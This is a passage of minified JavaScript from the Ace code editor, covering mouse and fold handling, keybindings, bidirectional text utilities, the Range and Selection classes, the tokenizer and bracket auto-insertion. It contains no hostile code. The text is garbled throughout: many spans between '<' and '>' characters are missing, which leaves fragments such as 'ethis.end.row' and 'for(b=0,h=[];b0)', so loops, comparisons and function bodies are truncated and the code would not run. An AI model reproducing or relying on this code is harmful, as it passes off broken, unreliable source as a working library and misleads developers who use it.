n=e.renderer.screenToTextCoordinates(i.x,i.y),s=e.session.selection.getRange(),o=e.renderer;!s.isEmpty()&&s.insideStart(n.row,n.column)?o.setCursorStyle("default"):o.setCursorStyle("")}}))};(function(){this.onMouseEvent=function(e,t){this.editor._emit(e,new a(t,this.editor))},this.onMouseMove=function(e,t){var i=this.editor._eventRegistry&&this.editor._eventRegistry.mousemove;i&&i.length&&this.editor._emit(e,new a(t,this.editor))},this.onMouseWheel=function(e,t){var i=new a(t,this.editor);i.speed=2*this.$scrollSpeed,i.wheelX=t.wheelX,i.wheelY=t.wheelY,this.editor._emit(e,i)},this.onTouchMove=function(e,t){var i=new a(t,this.editor);i.speed=1,i.wheelX=t.wheelX,i.wheelY=t.wheelY,this.editor._emit(e,i)},this.setState=function(e){this.state=e},this.captureMouse=function(e,t){this.x=e.x,this.y=e.y,this.isMousePressed=!0;var i=this.editor.renderer;i.$keepTextAreaAtCursor&&(i.$keepTextAreaAtCursor=null);var o=this,r=function(e){if(e){if(s.isWebKit&&!e.which&&o.releaseMouse)return o.releaseMouse();o.x=e.clientX,o.y=e.clientY,t&&t(e),o.mouseEvent=new a(e,o.editor),o.$mouseMoved=!0}},l=function(e){clearInterval(h),c(),o[o.state+"End"]&&o[o.state+"End"](e),o.state="",null==i.$keepTextAreaAtCursor&&(i.$keepTextAreaAtCursor=!0,i.$moveTextAreaToCursor()),o.isMousePressed=!1,o.$onCaptureMouseMove=o.releaseMouse=null,e&&o.onMouseEvent("mouseup",e)},c=function(){o[o.state]&&o[o.state](),o.$mouseMoved=!1};if(s.isOldIE&&"dblclick"==e.domEvent.type)return setTimeout((function(){l(e)}));o.$onCaptureMouseMove=r,o.releaseMouse=n.capture(this.editor.container,r,l);var h=setInterval(c,20)},this.releaseMouse=null,this.cancelContextMenu=function(){var e=function(t){t&&t.domEvent&&"contextmenu"!=t.domEvent.type||(this.editor.off("nativecontextmenu",e),t&&t.domEvent&&n.stopEvent(t.domEvent))}.bind(this);setTimeout(e,10),this.editor.on("nativecontextmenu",e)}}).call(h.prototype),c.defineOptions(h.prototype,"mouseHandler",{scrollSpeed:{initialValue:2},dragDelay:{initialValue:s.isMac?150:0},dragEnabled:{initialValue:!0},focusTimout:{initialValue:0},tooltipFollowsMouse:{initialValue:!0}}),t.MouseHandler=h})),ace.define("ace/mouse/fold_handler",["require","exports","module"],(function(e,t,i){"use strict";function n(e){e.on("click",(function(t){var i=t.getDocumentPosition(),n=e.session,s=n.getFoldAt(i.row,i.column,1);s&&(t.getAccelKey()?n.removeFold(s):n.expandFold(s),t.stop())})),e.on("gutterclick",(function(t){var i=e.renderer.$gutterLayer.getRegion(t);if("foldWidgets"==i){var n=t.getDocumentPosition().row,s=e.session;s.foldWidgets&&s.foldWidgets[n]&&e.session.onFoldWidgetClick(n,t),e.isFocused()||e.focus(),t.stop()}})),e.on("gutterdblclick",(function(t){var i=e.renderer.$gutterLayer.getRegion(t);if("foldWidgets"==i){var n=t.getDocumentPosition().row,s=e.session,o=s.getParentFoldRangeData(n,!0),r=o.range||o.firstRange;if(r){n=r.start.row;var a=s.getFoldAt(n,s.getLine(n).length,1);a?s.removeFold(a):(s.addFold("...",r),e.renderer.scrollCursorIntoView({row:r.start.row,column:0}))}t.stop()}}))}t.FoldHandler=n})),ace.define("ace/keyboard/keybinding",["require","exports","module","ace/lib/keys","ace/lib/event"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/event"),o=function(e){this.$editor=e,this.$data={editor:e},this.$handlers=[],this.setDefaultHandler(e.commands)};(function(){this.setDefaultHandler=function(e){this.removeKeyboardHandler(this.$defaultHandler),this.$defaultHandler=e,this.addKeyboardHandler(e,0)},this.setKeyboardHandler=function(e){var t=this.$handlers;if(t[t.length-1]!=e){while(t[t.length-1]&&t[t.length-1]!=this.$defaultHandler)this.removeKeyboardHandler(t[t.length-1]);this.addKeyboardHandler(e,1)}},this.addKeyboardHandler=function(e,t){if(e){"function"!=typeof e||e.handleKeyboard||(e.handleKeyboard=e);var i=this.$handlers.indexOf(e);-1!=i&&this.$handlers.splice(i,1),void 0==t?this.$handlers.push(e):this.$handlers.splice(t,0,e),-1==i&&e.attach&&e.attach(this.$editor)}},this.removeKeyboardHandler=function(e){var t=this.$handlers.indexOf(e);return-1!=t&&(this.$handlers.splice(t,1),e.detach&&e.detach(this.$editor),!0)},this.getKeyboardHandler=function(){return this.$handlers[this.$handlers.length-1]},this.getStatusText=function(){var e=this.$data,t=e.editor;return this.$handlers.map((function(i){return i.getStatusText&&i.getStatusText(t,e)||""})).filter(Boolean).join(" ")},this.$callKeyboardHandlers=function(e,t,i,n){for(var o,r=!1,a=this.$editor.commands,l=this.$handlers.length;l--;)if(o=this.$handlers[l].handleKeyboard(this.$data,e,t,i,n),o&&o.command&&(r="null"==o.command||a.exec(o.command,this.$editor,o.args,n),r&&n&&-1!=e&&1!=o.passEvent&&1!=o.command.passEvent&&s.stopEvent(n),r))break;return r||-1!=e||(o={command:"insertstring"},r=a.exec("insertstring",this.$editor,t)),r&&this.$editor._signal&&this.$editor._signal("keyboardActivity",o),r},this.onCommandKey=function(e,t,i){var s=n.keyCodeToString(i);this.$callKeyboardHandlers(t,s,i,e)},this.onTextInput=function(e){this.$callKeyboardHandlers(-1,e)}}).call(o.prototype),t.KeyBinding=o})),ace.define("ace/lib/bidiutil",["require","exports","module"],(function(e,t,i){"use strict";var n=0,s=0,o=!1,r=!1,a=!1,l=[[0,3,0,1,0,0,0],[0,3,0,1,2,2,0],[0,3,0,17,2,0,1],[0,3,5,5,4,1,0],[0,3,21,21,4,0,1],[0,3,5,5,4,2,0]],c=[[2,0,1,1,0,1,0],[2,0,1,1,0,2,0],[2,0,2,1,3,2,0],[2,0,2,33,3,1,1]],h=0,u=1,d=0,g=1,f=2,p=3,m=4,A=5,v=6,C=7,w=8,F=9,b=10,E=11,y=12,$=13,S=14,x=15,B=16,k=17,D=18,L=[D,D,D,D,D,D,D,D,D,v,A,v,w,A,D,D,D,D,D,D,D,D,D,D,D,D,D,D,A,A,A,v,w,m,m,E,E,E,m,m,m,m,m,b,F,b,F,F,f,f,f,f,f,f,f,f,f,f,F,m,m,m,m,m,m,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,m,m,m,m,m,m,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,m,m,m,m,D,D,D,D,D,D,A,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,F,m,E,E,E,E,m,m,m,m,d,m,m,D,m,m,E,E,f,f,m,d,m,m,m,f,d,m,m,m,m,m],R=[w,w,w,w,w,w,w,w,w,w,w,D,D,D,d,g,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,w,A,$,S,x,B,k,F,E,E,E,E,E,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,F,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,w];function _(e,t,i,h){var u=n?c:l,d=null,g=null,f=null,p=0,m=null,C=null,F=-1,b=null,E=null,y=[];if(!h)for(b=0,h=[];b0)if(16==m){for(b=F;b-1){for(b=F;b=0;$--){if(h[$]!=w)break;t[$]=n}}}function T(e,t,i){if(!(s=e){o=d+1;while(o=e)o++;for(a=d,l=o-1;a=t.length||(l=i[s-1])!=f&&l!=p||(c=t[s+1])!=f&&c!=p?m:(o&&(c=p),c==l?c:m);case b:return l=s>0?i[s-1]:A,l==f&&s+10&&i[s-1]==f)return f;if(o)return m;u=s+1,h=t.length;while(u=1425&&R<=2303||64286==R;if(l=t[u],_&&(l==g||l==C))return g}return s<1||(l=t[s-1])==A?m:i[s-1];case A:return o=!1,r=!0,n;case v:return a=!0,m;case $:case S:case B:case k:case x:o=!1;case D:return m}}function O(e){var t=e.charCodeAt(0),i=t>>8;return 0==i?t>191?d:L[t]:5==i?/[\u0591-\u05f4]/.test(e)?g:d:6==i?/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(e)?y:/[\u0660-\u0669\u066b-\u066c]/.test(e)?p:1642==t?E:/[\u06f0-\u06f9]/.test(e)?f:C:32==i&&t<=8287?R[255&t]:254==i&&t>=65136?C:m}t.L=d,t.R=g,t.EN=f,t.ON_R=3,t.AN=4,t.R_H=5,t.B=6,t.DOT="·",t.doBidiReorder=function(e,i,s){if(e.length<2)return{};var o=e.split(""),r=new Array(o.length),a=new Array(o.length),l=[];n=s?u:h,_(o,l,o.length,i);for(var c=0;cC&&i[c]<$||i[c]===m||i[c]===D)?l[c]=t.ON_R:c>0&&"ل"===o[c-1]&&/\u0622|\u0623|\u0625|\u0627/.test(o[c])&&(l[c-1]=l[c]=t.R_H,c++);o[o.length-1]===t.DOT&&(l[o.length-1]=t.B);for(c=0;c=0&&(e=this.session.$docRowCache[i])}return e},this.getSplitIndex=function(){var e=0,t=this.session.$screenRowCache;if(t.length){var i,n=this.session.$getRowCacheIndex(t,this.currentRow);while(this.currentRow-e>0){if(i=this.session.$getRowCacheIndex(t,this.currentRow-e-1),i!==n)break;n=i,e++}}return e},this.updateRowLine=function(e,t){if(void 0===e&&(e=this.getDocumentRow()),this.wrapIndent=0,this.isLastRow=e===this.session.getLength()-1,this.line=this.session.getLine(e),this.session.$useWrapMode){var i=this.session.$wrapData[e];i&&(void 0===t&&(t=this.getSplitIndex()),t>0&&i.length?(this.wrapIndent=i.indent,this.line=t0?e-1:0,this.bidiMap),i=this.bidiMap.bidiLevels,s=0;0===e&&i[t]%2!==0&&t++;for(var o=0;o=c&&si+r/2){if(i+=r,s===o.length-1){r=0;break}r=this.charWidths[o[++s]]}return s>0&&o[s-1]%2!==0&&o[s]%2===0?(e0&&o[s-1]%2===0&&o[s]%2!==0?t=1+(e>i?this.bidiMap.logicalFromVisual[s]:this.bidiMap.logicalFromVisual[s-1]):this.isRtlDir&&s===o.length-1&&0===r&&o[s-1]%2===0||!this.isRtlDir&&0===s&&o[s]%2!==0?t=1+this.bidiMap.logicalFromVisual[s]:(s>0&&o[s-1]%2!==0&&0!==r&&s--,t=this.bidiMap.logicalFromVisual[s]),t+this.wrapIndent}}).call(a.prototype),t.BidiHandler=a})),ace.define("ace/range",["require","exports","module"],(function(e,t,i){"use strict";var n=function(e,t){return e.row-t.row||e.column-t.column},s=function(e,t,i,n){this.start={row:e,column:t},this.end={row:i,column:n}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return"Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return 0==this.compare(e,t)},this.compareRange=function(e){var t,i=e.end,n=e.start;return t=this.compare(i.row,i.column),1==t?(t=this.compare(n.row,n.column),1==t?2:0==t?1:0):-1==t?-2:(t=this.compare(n.row,n.column),-1==t?-1:1==t?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return 0==this.comparePoint(e.start)&&0==this.comparePoint(e.end)},this.intersects=function(e){var t=this.compareRange(e);return-1==t||0==t||1==t},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){"object"==typeof e?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){"object"==typeof e?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return 0==this.compare(e,t)&&(!this.isEnd(e,t)&&!this.isStart(e,t))},this.insideStart=function(e,t){return 0==this.compare(e,t)&&!this.isEnd(e,t)},this.insideEnd=function(e,t){return 0==this.compare(e,t)&&!this.isStart(e,t)},this.compare=function(e,t){return this.isMultiLine()||e!==this.start.row?ethis.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0:tthis.end.column?1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var i={row:t+1,column:0};else if(this.end.rowt)var n={row:t+1,column:0};else if(this.start.rowt.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.isEmpty()?r.fromPoints(t,t):this.isBackwards()?r.fromPoints(t,e):r.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit("changeSelection"))},this.selectAll=function(){var e=this.doc.getLength()-1;this.setSelectionAnchor(0,0),this.moveCursorTo(e,this.doc.getLine(e).length)},this.setRange=this.setSelectionRange=function(e,t){t?(this.setSelectionAnchor(e.end.row,e.end.column),this.selectTo(e.start.row,e.start.column)):(this.setSelectionAnchor(e.start.row,e.start.column),this.selectTo(e.end.row,e.end.column)),this.getRange().isEmpty()&&(this.$isEmpty=!0),this.$desiredColumn=null},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection((function(){this.moveCursorTo(e,t)}))},this.selectToPosition=function(e){this.$moveSelection((function(){this.moveCursorToPosition(e)}))},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if("undefined"==typeof t){var i=e||this.lead;e=i.row,t=i.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var i,n="number"==typeof e?e:this.lead.row,s=this.session.getFoldLine(n);return s?(n=s.start.row,i=s.end.row):i=n,!0===t?new r(n,0,i,this.session.getLine(i).length):new r(n,0,i+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.wouldMoveIntoSoftTab=function(e,t,i){var n=e.column,s=e.column+t;return i<0&&(n=e.column-t,s=e.column),this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(n,s).split(" ").length-1==t},this.moveCursorLeft=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,-1))this.moveCursorTo(e.start.row,e.start.column);else if(0===t.column)t.row>0&&this.moveCursorTo(t.row-1,this.doc.getLine(t.row-1).length);else{var i=this.session.getTabSize();this.wouldMoveIntoSoftTab(t,i,-1)&&!this.session.getNavigateWithinSoftTabs()?this.moveCursorBy(0,-i):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,1))this.moveCursorTo(e.end.row,e.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row0&&(t.column=n)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t);this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var s=this.session.getFoldAt(e,t,1);if(s)this.moveCursorTo(s.end.row,s.end.column);else{if(this.session.nonTokenRe.exec(n)&&(t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,n=i.substring(t)),t>=i.length)return this.moveCursorTo(e,i.length),this.moveCursorRight(),void(e0&&this.moveCursorWordLeft());this.session.tokenRe.exec(o)&&(i-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0),this.moveCursorTo(t,i)}},this.$shortWordEndIndex=function(e){var t,i=0,n=/\s/,s=this.session.tokenRe;if(s.lastIndex=0,this.session.tokenRe.exec(e))i=this.session.tokenRe.lastIndex;else{while((t=e[i])&&n.test(t))i++;if(i<1){s.lastIndex=0;while((t=e[i])&&!s.test(t))if(s.lastIndex=0,i++,n.test(t)){if(i>2){i--;break}while((t=e[i])&&n.test(t))i++;if(i>2)break}}}return s.lastIndex=0,i},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t),s=this.session.getFoldAt(e,t,1);if(s)return this.moveCursorTo(s.end.row,s.end.column);if(t==i.length){var o=this.doc.getLength();do{e++,n=this.doc.getLine(e)}while(e0&&/^\s*$/.test(n));i=n.length,/\s+$/.test(n)||(n="")}var o=s.stringReverse(n),r=this.$shortWordEndIndex(o);return this.moveCursorTo(t,i-r)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var i,n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);0===t&&(0!==e&&(this.session.$bidiHandler.isBidiRow(n.row,this.lead.row)?(i=this.session.$bidiHandler.getPosLeft(n.column),n.column=Math.round(i/this.session.$bidiHandler.charWidths[0])):i=n.column*this.session.$bidiHandler.charWidths[0]),this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column);var s=this.session.screenToDocumentPosition(n.row+e,n.column,i);0!==e&&0===t&&s.row===this.lead.row&&s.column===this.lead.column&&this.session.lineWidgets&&this.session.lineWidgets[s.row]&&(s.row>0||e>0)&&s.row++,this.moveCursorTo(s.row,s.column+t,0===t)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,i){var n=this.session.getFoldAt(e,t,1);n&&(e=n.start.row,t=n.start.column),this.$keepDesiredColumnOnChange=!0;var s=this.session.getLine(e);/[\uDC00-\uDFFF]/.test(s.charAt(t))&&s.charAt(t-1)&&(this.lead.row==e&&this.lead.column==t+1?t-=1:t+=1),this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,i||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,i){var n=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(n.row,n.column,i)},this.detach=function(){this.lead.detach(),this.anchor.detach(),this.session=this.doc=null},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e(this);var i=this.getCursor();return r.fromPoints(t,i)}catch(n){return r.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map((function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t}));else{e=this.getRange();e.isBackwards=this.isBackwards()}return e},this.fromJSON=function(e){if(void 0==e.start){if(this.rangeList){this.toSingleRange(e[0]);for(var t=e.length;t--;){var i=r.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(i.cursor=i.start),this.addRange(i,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(a.prototype),t.Selection=a})),ace.define("ace/tokenizer",["require","exports","module","ace/config"],(function(e,t,i){"use strict";var n=e("./config"),s=2e3,o=function(e){for(var t in this.states=e,this.regExps={},this.matchMappings={},this.states){for(var i=this.states[t],n=[],s=0,o=this.matchMappings[t]={defaultToken:"text"},r="g",a=[],l=0;l1?this.$applyToken:c.token),u>1&&(/\\\d/.test(c.regex)?h=c.regex.replace(/\\([0-9]+)/g,(function(e,t){return"\\"+(parseInt(t,10)+s+1)})):(u=1,h=this.removeCapturingGroups(c.regex)),c.splitRegex||"string"==typeof c.token||a.push(c)),o[s]=l,s+=u,n.push(h),c.onMatch||(c.onMatch=null)}}n.length||(o[0]=0,n.push("$")),a.forEach((function(e){e.splitRegex=this.createSplitterRegexp(e.regex,r)}),this),this.regExps[t]=new RegExp("("+n.join(")|(")+")|($)",r)}};(function(){this.$setMaxTokenCount=function(e){s=0|e},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),i=this.token.apply(this,t);if("string"===typeof i)return[{type:i,value:e}];for(var n=[],s=0,o=i.length;sh){var A=e.substring(h,m-p.length);d.type==g?d.value+=A:(d.type&&c.push(d),d={type:g,value:A})}for(var v=0;vs){u>2*e.length&&this.reportError("infinite loop with in ace tokenizer",{startState:t,line:e});while(h1&&i[0]!==n&&i.unshift("#tmp",n),{tokens:c,state:i.length?i:n}},this.reportError=n.reportError}).call(o.prototype),t.Tokenizer=o})),ace.define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=function(){this.$rules={start:[{token:"empty_line",regex:"^$"},{defaultToken:"text"}]}};(function(){this.addRules=function(e,t){if(t)for(var i in e){for(var n=e[i],s=0;s=this.$rowTokens.length){if(this.$row+=1,e||(e=this.$session.getLength()),this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,i=e[t].start;if(void 0!==i)return i;i=0;while(t>0)t-=1,i+=e[t].value.length;return i},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}},this.getCurrentTokenRange=function(){var e=this.$rowTokens[this.$tokenIndex],t=this.getCurrentTokenColumn();return new n(this.$row,t,this.$row,t+e.value.length)}}).call(s.prototype),t.TokenIterator=s})),ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],(function(e,t,i){"use strict";var n,s=e("../../lib/oop"),o=e("../behaviour").Behaviour,r=e("../../token_iterator").TokenIterator,a=e("../../lib/lang"),l=["text","paren.rparen","punctuation.operator"],c=["text","paren.rparen","punctuation.operator","comment"],h={},u={'"':'"',"'":"'"},d=function(e){var t=-1;if(e.multiSelect&&(t=e.selection.index,h.rangeCount!=e.multiSelect.rangeCount&&(h={rangeCount:e.multiSelect.rangeCount})),h[t])return n=h[t];n=h[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},g=function(e,t,i,n){var s=e.end.row-e.start.row;return{text:i+t+n,selection:[0,e.start.column+1,s,e.end.column+(s?0:1)]}},f=function(e){this.add("braces","insertion",(function(t,i,s,o,r){var l=s.getCursorPosition(),c=o.doc.getLine(l.row);if("{"==r){d(s);var h=s.getSelectionRange(),u=o.doc.getTextRange(h);if(""!==u&&"{"!==u&&s.getWrapBehavioursEnabled())return g(h,u,"{","}");if(f.isSaneInsertion(s,o))return/[\]\}\)]/.test(c[l.column])||s.inMultiSelectMode||e&&e.braces?(f.recordAutoInsert(s,o,"}"),{text:"{}",selection:[1,1]}):(f.recordMaybeInsert(s,o,"{"),{text:"{",selection:[1,1]})}else if("}"==r){d(s);var p=c.substring(l.column,l.column+1);if("}"==p){var m=o.$findOpeningBracket("}",{column:l.column+1,row:l.row});if(null!==m&&f.isAutoInsertedClosing(l,c,r))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}else{if("\n"==r||"\r\n"==r){d(s);var A="";f.isMaybeInsertedClosing(l,c)&&(A=a.stringRepeat("}",n.maybeInsertedBrackets),f.clearMaybeInsertedClosing());p=c.substring(l.column,l.column+1);if("}"===p){var v=o.findMatchingBracket({row:l.row,column:l.column+1},"}");if(!v)return null;var C=this.$getIndent(o.getLine(v.row))}else{if(!A)return void f.clearMaybeInsertedClosing();C=this.$getIndent(c)}var w=C+o.getTabString();return{text:"\n"+w+"\n"+C+A,selection:[1,w.length,1,w.length]}}f.clearMaybeInsertedClosing()}})),this.add("braces","deletion",(function(e,t,i,s,o){var r=s.doc.getTextRange(o);if(!o.isMultiLine()&&"{"==r){d(i);var a=s.doc.getLine(o.start.row),l=a.substring(o.end.column,o.end.column+1);if("}"==l)return o.end.column++,o;n.maybeInsertedBrackets--}})),this.add("parens","insertion",(function(e,t,i,n,s){if("("==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"(",")");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,")"),{text:"()",selection:[1,1]}}else if(")"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row),c=l.substring(a.column,a.column+1);if(")"==c){var h=n.$findOpeningBracket(")",{column:a.column+1,row:a.row});if(null!==h&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}})),this.add("parens","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"("==o){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if(")"==a)return s.end.column++,s}})),this.add("brackets","insertion",(function(e,t,i,n,s){if("["==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"[","]");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,"]"),{text:"[]",selection:[1,1]}}else if("]"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row),c=l.substring(a.column,a.column+1);if("]"==c){var h=n.$findOpeningBracket("]",{column:a.column+1,row:a.row});if(null!==h&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}})),this.add("brackets","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"["==o){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if("]"==a)return s.end.column++,s}})),this.add("string_dquotes","insertion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u;if(1==s.length&&o[s]){if(this.lineCommentStart&&-1!=this.lineCommentStart.indexOf(s))return;d(i);var r=s,a=i.getSelectionRange(),l=n.doc.getTextRange(a);if(!(""===l||1==l.length&&o[l])&&i.getWrapBehavioursEnabled())return g(a,l,r,r);if(!l){var c=i.getCursorPosition(),h=n.doc.getLine(c.row),f=h.substring(c.column-1,c.column),p=h.substring(c.column,c.column+1),m=n.getTokenAt(c.row,c.column),A=n.getTokenAt(c.row,c.column+1);if("\\"==f&&m&&/escape/.test(m.type))return null;var v,C=m&&/string|escape/.test(m.type),w=!A||/string|escape/.test(A.type);if(p==r)v=C!==w,v&&/string\.end/.test(A.type)&&(v=!1);else{if(C&&!w)return null;if(C&&w)return null;var F=n.$mode.tokenRe;F.lastIndex=0;var b=F.test(f);F.lastIndex=0;var E=F.test(f);if(b||E)return null;if(p&&!/[\s;,.})\]\\]/.test(p))return null;v=!0}return{text:v?r+r:"",selection:[1,1]}}}})),this.add("string_dquotes","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&('"'==o||"'"==o)){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if(a==o)return s.end.column++,s}}))};f.isSaneInsertion=function(e,t){var i=e.getCursorPosition(),n=new r(t,i.row,i.column);if(!this.$matchTokenType(n.getCurrentToken()||"text",l)){var s=new r(t,i.row,i.column+1);if(!this.$matchTokenType(s.getCurrentToken()||"text",l))return!1}return n.stepForward(),n.getCurrentTokenRow()!==i.row||this.$matchTokenType(n.getCurrentToken()||"text",c)},f.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},f.recordAutoInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isAutoInsertedClosing(s,o,n.autoInsertedLineEnd[0])||(n.autoInsertedBrackets=0),n.autoInsertedRow=s.row,n.autoInsertedLineEnd=i+o.substr(s.column),n.autoInsertedBrackets++},f.recordMaybeInsert=function(e,t,i){var 